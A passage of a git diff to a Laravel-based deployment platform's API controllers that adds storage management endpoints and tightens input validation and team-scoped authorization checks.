$isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + + $storage->save(); + + return response()->json($storage); + } + + #[OA\Delete( + summary: 'Delete Storage', + description: 'Delete a persistent storage or file storage by database UUID.', + path: '/databases/{uuid}/storages/{storage_uuid}', + operationId: 'delete-storage-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema(type: 'string') + ), + new OA\Parameter( + name: 'storage_uuid', + in: 'path', + description: 'UUID of the storage.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + responses: [ + new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent( + properties: [new OA\Property(property: 'message', type: 'string')], + )), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function delete_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('update', $database); + + $storageUuid = $request->route('storage_uuid'); + + $storage = $database->persistentStorages->where('uuid', $storageUuid)->first(); + if (! $storage) { + $storage = $database->fileStorages->where('uuid', $storageUuid)->first(); + } + + if (! $storage) { + return response()->json(['message' => 'Storage not found.'], 404); + } + + if ($storage->shouldBeReadOnlyInUI()) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.', + ], 422); + } + + if ($storage instanceof LocalFileVolume) { + $storage->deleteStorageOnServer(); + } + + $storage->delete(); + + return response()->json(['message' => 'Storage deleted.']); + } } diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index a21940257..85d532f62 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -128,7 +128,7 @@ public function deployment_by_uuid(Request $request) return response()->json(['message' => 'Deployment not found.'], 404); } $application = $deployment->application; - if (! $application || data_get($application->team(), 'id') !== $teamId) { + if (! $application || data_get($application->team(), 'id') !== (int) $teamId) { return response()->json(['message' => 'Deployment not found.'], 404); } diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php index f6a6b3513..9a2cf2b9f 100644 --- a/app/Http/Controllers/Api/GithubController.php +++ b/app/Http/Controllers/Api/GithubController.php @@ -5,6 +5,9 @@ use App\Http\Controllers\Controller; use App\Models\GithubApp; use App\Models\PrivateKey; +use App\Rules\SafeExternalUrl; +use Illuminate\Database\Eloquent\ModelNotFoundException; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Str; @@ -181,7 +184,7 @@ public function create_github_app(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -204,8 +207,8 @@ public function create_github_app(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'required|string|max:255', 'organization' => 'nullable|string|max:255', - 'api_url' => 'required|string|url', - 'html_url' => 'required|string|url', + 'api_url' => ['required', 'string', 'url', new SafeExternalUrl], + 'html_url' => ['required', 'string', 'url', new SafeExternalUrl], 'custom_user' => 'nullable|string|max:255', 'custom_port' => 'nullable|integer|min:1|max:65535', 'app_id' => 'required|integer', @@ -370,7 +373,7 @@ public function load_repositories($github_app_id) return response()->json([ 'repositories' => $repositories->sortBy('name')->values(), ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json(['message' => 'GitHub app not found'], 404); } catch (\Throwable $e) { return handleError($e); @@ -472,7 +475,7 @@ public function load_branches($github_app_id, $owner, $repo) return response()->json([ 'branches' => $branches, ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json(['message' => 'GitHub app not found'], 404); } catch (\Throwable $e) { return handleError($e); @@ -587,10 +590,10 @@ public function update_github_app(Request $request, $github_app_id) $rules['organization'] = 'nullable|string'; } if (isset($payload['api_url'])) { - $rules['api_url'] = 'url'; + $rules['api_url'] = ['url', new SafeExternalUrl]; } if (isset($payload['html_url'])) { - $rules['html_url'] = 'url'; + $rules['html_url'] = ['url', new SafeExternalUrl]; } if (isset($payload['custom_user'])) { $rules['custom_user'] = 'string'; @@ -651,7 +654,7 @@ public function update_github_app(Request $request, $github_app_id) 'message' => 'GitHub app updated successfully', 'data' => $githubApp, ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json([ 'message' => 'GitHub app not found', ], 404); @@ -736,7 +739,7 @@ public function delete_github_app($github_app_id) return response()->json([ 'message' => 'GitHub app deleted successfully', ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json([ 'message' => 'GitHub app not found', ], 404); diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index 2645c2df1..ed91b4475 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -586,7 +586,8 @@ public function createServer(Request $request) } // Check server limit - if (Team::serverLimitReached()) { + $team = Team::find($teamId); + if (Team::serverLimitReached($team)) { return response()->json(['message' => 'Server limit reached for your subscription.'], 400); } diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index a29839d14..2ef95ce8b 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -7,10 +7,12 @@ use App\Enums\ProxyStatus; use App\Enums\ProxyTypes; use App\Http\Controllers\Controller; +use App\Jobs\DeleteResourceJob; use App\Models\Application; use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server as ModelsServer; +use App\Rules\ValidServerIp; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Stringable; @@ -288,15 +290,24 @@ public function domains_by_server(Request $request) if (is_null($teamId)) { return invalidTokenResponse(); } - $uuid = $request->get('uuid'); + $server = ModelsServer::whereTeamId($teamId)->whereUuid($request->uuid)->first(); + if (is_null($server)) { + return response()->json(['message' => 'Server not found.'], 404); + } + $uuid = $request->query('uuid'); if ($uuid) { - $domains = Application::getDomainsByUuid($uuid); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } - return response()->json(serializeApiResponse($domains)); + return response()->json(serializeApiResponse($application->fqdns)); } $projects = Project::where('team_id', $teamId)->get(); $domains = collect(); - $applications = $projects->pluck('applications')->flatten(); + $applications = $projects->pluck('applications')->flatten()->filter(function ($application) use ($server) { + return $application->destination?->server?->id === $server->id; + }); $settings = instanceSettings(); if ($applications->count() > 0) { foreach ($applications as $application) { @@ -336,7 +347,9 @@ public function domains_by_server(Request $request) } } } - $services = $projects->pluck('services')->flatten(); + $services = $projects->pluck('services')->flatten()->filter(function ($service) use ($server) { + return $service->server_id === $server->id; + }); if ($services->count() > 0) { foreach ($services as $service) { $service_applications = $service->applications; @@ -349,7 +362,8 @@ public function domains_by_server(Request $request) })->filter(function (Stringable $fqdn) { return $fqdn->isNotEmpty(); }); - if ($ip === 'host.docker.internal') { + $serviceIp = $server->ip; + if ($serviceIp === 'host.docker.internal') { if ($settings->public_ipv4) { $domains->push([ 'domain' => $fqdn, @@ -365,13 +379,13 @@ public function domains_by_server(Request $request) if (! $settings->public_ipv4 && ! $settings->public_ipv6) { $domains->push([ 'domain' => $fqdn, - 'ip' => $ip, + 'ip' => $serviceIp, ]); } } else { $domains->push([ 'domain' => $fqdn, - 'ip' => $ip, + 'ip' => $serviceIp, ]); } } @@ -469,10 +483,10 @@ public function create_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', 'description' => 'string|nullable', - 'ip' => 'string|required', - 'port' => 'integer|nullable', + 'ip' => ['string', 'required', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|required', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', @@ -634,10 +648,10 @@ public function update_server(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255|nullable', 'description' => 'string|nullable', - 'ip' => 'string|nullable', - 'port' => 'integer|nullable', + 'ip' => ['string', 'nullable', new ValidServerIp], + 'port' => 'integer|nullable|between:1,65535', 'private_key_uuid' => 'string|nullable', - 'user' => 'string|nullable', + 'user' => ['string', 'nullable', 'regex:/^[a-zA-Z0-9_-]+$/'], 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', @@ -754,12 +768,22 @@ public function delete_server(Request $request) if (! $server) { return response()->json(['message' => 'Server not found.'], 404); } - if ($server->definedResources()->count() > 0) { - return response()->json(['message' => 'Server has resources, so you need to delete them before.'], 400); + + $force = filter_var($request->query('force', false), FILTER_VALIDATE_BOOLEAN); + + if ($server->definedResources()->count() > 0 && ! $force) { + return response()->json(['message' => 'Server has resources. Use ?force=true to delete all resources and the server, or delete resources manually first.'], 400); } if ($server->isLocalhost()) { return response()->json(['message' => 'Local server cannot be deleted.'], 400); } + + if ($force) { + foreach ($server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $server->delete(); DeleteServer::dispatch( $server->id, diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index ee4d84f10..fbf4b9e56 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -8,9 +8,13 @@ use App\Http\Controllers\Controller; use App\Jobs\DeleteResourceJob; use App\Models\EnvironmentVariable; +use App\Models\LocalFileVolume; +use App\Models\LocalPersistentVolume; use App\Models\Project; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; @@ -222,6 +226,7 @@ public function services(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ), ), @@ -288,7 +293,7 @@ public function services(Request $request) )] public function create_service(Request $request) { - $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override']; + $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -298,7 +303,7 @@ public function create_service(Request $request) $this->authorize('create', Service::class); $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validationRules = [ @@ -317,6 +322,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -377,6 +383,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } $services = get_service_templates(); $serviceKeys = $services->keys(); if ($serviceKeys->contains($request->type)) { @@ -418,6 +435,9 @@ public function create_service(Request $request) $service = Service::create($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); if ($oneClickDotEnvs?->count() > 0) { $oneClickDotEnvs->each(function ($value) use ($service) { @@ -474,7 +494,7 @@ public function create_service(Request $request) return response()->json(['message' => 'Service not found.', 'valid_service_types' => $serviceKeys], 404); } elseif (filled($request->docker_compose_raw)) { - $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'project_uuid' => 'string|required', @@ -492,6 +512,7 @@ public function create_service(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -543,6 +564,17 @@ public function create_service(Request $request) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if (! isBase64Encoded($request->docker_compose_raw)) { return response()->json([ 'message' => 'Validation failed.', @@ -587,6 +619,9 @@ public function create_service(Request $request) $service->destination_id = $destination->id; $service->destination_type = $destination->getMorphClass(); $service->connect_to_docker_network = $connectToDockerNetwork; + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(isNew: true); @@ -813,6 +848,7 @@ public function delete_by_uuid(Request $request) ), ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], + 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], ], ) ), @@ -890,7 +926,7 @@ public function update_by_uuid(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -901,7 +937,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $service); - $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override']; + $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -914,6 +950,7 @@ public function update_by_uuid(Request $request) 'urls.*.name' => 'string|required', 'urls.*.url' => 'string|nullable', 'force_domain_override' => 'boolean', + 'is_container_label_escape_enabled' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -979,6 +1016,9 @@ public function update_by_uuid(Request $request) if ($request->has('connect_to_docker_network')) { $service->connect_to_docker_network = $request->connect_to_docker_network; } + if ($request->has('is_container_label_escape_enabled')) { + $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); + } $service->save(); $service->parse(); @@ -1171,7 +1211,7 @@ public function update_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1184,6 +1224,7 @@ public function update_env_by_uuid(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1199,7 +1240,19 @@ public function update_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->fill($request->all()); + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -1293,7 +1346,7 @@ public function create_bulk_envs(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1313,6 +1366,7 @@ public function create_bulk_envs(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1412,7 +1466,7 @@ public function create_env(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } @@ -1425,6 +1479,7 @@ public function create_env(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1442,7 +1497,14 @@ public function create_env(Request $request) ], 409); } - $env = $service->environment_variables()->create($request->all()); + $env = $service->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } @@ -1513,14 +1575,14 @@ public function delete_env_by_uuid(Request $request) return invalidTokenResponse(); } - $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); if (! $service) { return response()->json(['message' => 'Service not found.'], 404); } $this->authorize('manageEnvironment', $service); - $env = EnvironmentVariable::where('uuid', $request->env_uuid) + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) ->where('resourceable_type', Service::class) ->where('resourceable_id', $service->id) ->first(); @@ -1633,6 +1695,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -1684,7 +1755,9 @@ public function action_stop(Request $request) if (str($service->status)->contains('stopped') || str($service->status)->contains('exited')) { return response()->json(['message' => 'Service is already stopped.'], 400); } - StopService::dispatch($service); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopService::dispatch($service, false, $dockerCleanup); return response()->json( [ @@ -1780,4 +1853,609 @@ public function action_restart(Request $request) 200 ); } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by service UUID.', + path: '/services/{uuid}/storages', + operationId: 'list-storages-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Services'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by service UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + + if (! $service) { + return response()->json([ + 'message' => 'Service not found.', + ], 404); + } + + $this->authorize('view', $service); + + $persistentStorages = collect(); + $fileStorages = collect(); + + foreach ($service->applications as $app) { + $persistentStorages = $persistentStorages->merge( + $app->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application')) + ); + $fileStorages = $fileStorages->merge( + $app->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application')) + ); + } + foreach ($service->databases as $db) { + $persistentStorages = $persistentStorages->merge( + $db->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database')) + ); + $fileStorages = $fileStorages->merge( + $db->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database')) + ); + } + + return response()->json([ + 'persistent_storages' => $persistentStorages->sortBy('id')->values(), + 'file_storages' => $fileStorages->sortBy('id')->values(), + ]); + } + + #[OA\Post( + summary: 'Create Storage', + description: 'Create a persistent storage or file storage for a service sub-resource.', + path: '/services/{uuid}/storages', + operationId: 'create-storage-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Services'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + requestBody: new OA\RequestBody( + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type', 'mount_path', 'resource_uuid'], + properties: [ + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'], + 'resource_uuid' => ['type' => 'string', 'description' => 'UUID of the service application or database sub-resource.'], + 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'], + 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'], + 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Storage created.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function create_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + $this->authorize('update', $service); + + $validator = customApiValidator($request->all(), [ + 'type' => 'required|string|in:persistent,file', + 'resource_uuid' => 'required|string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'required|string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', + 'is_directory' => 'boolean', + 'fs_path' => 'string', + ]); + + $allAllowedFields = ['type', 'resource_uuid', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $subResource = $service->applications()->where('uuid', $request->resource_uuid)->first(); + if (! $subResource) { + $subResource = $service->databases()->where('uuid', $request->resource_uuid)->first(); + } + if (! $subResource) { + return response()->json(['message' => 'Service resource not found.'], 404); + } + + if ($request->type === 'persistent') { + if (! $request->name) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['name' => 'The name field is required for persistent storages.'], + ], 422); + } + + $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]), + ], 422); + } + + $storage = LocalPersistentVolume::create([ + 'name' => $subResource->uuid.'-'.$request->name, + 'mount_path' => $request->mount_path, + 'host_path' => $request->host_path, + 'resource_id' => $subResource->id, + 'resource_type' => $subResource->getMorphClass(), + ]); + + return response()->json($storage, 201); + } + + // File storage + $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]), + ], 422); + } + + $isDirectory = $request->boolean('is_directory', false); + + if ($isDirectory) { + if (! $request->fs_path) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'], + ], 422); + } + + $fsPath = str($request->fs_path)->trim()->start('/')->value(); + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($fsPath, 'storage source path'); + validateShellSafePath($mountPath, 'storage destination path'); + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'is_directory' => true, + 'resource_id' => $subResource->id, + 'resource_type' => get_class($subResource), + ]); + } else { + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($mountPath, 'file storage path'); + + $fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath; + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'content' => $request->content, + 'is_directory' => false, + 'resource_id' => $subResource->id, + 'resource_type' => get_class($subResource), + ]); + } + + return response()->json($storage, 201); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by service UUID.', + path: '/services/{uuid}/storages', + operationId: 'update-storage-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Services'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type'], + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'], + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $service = 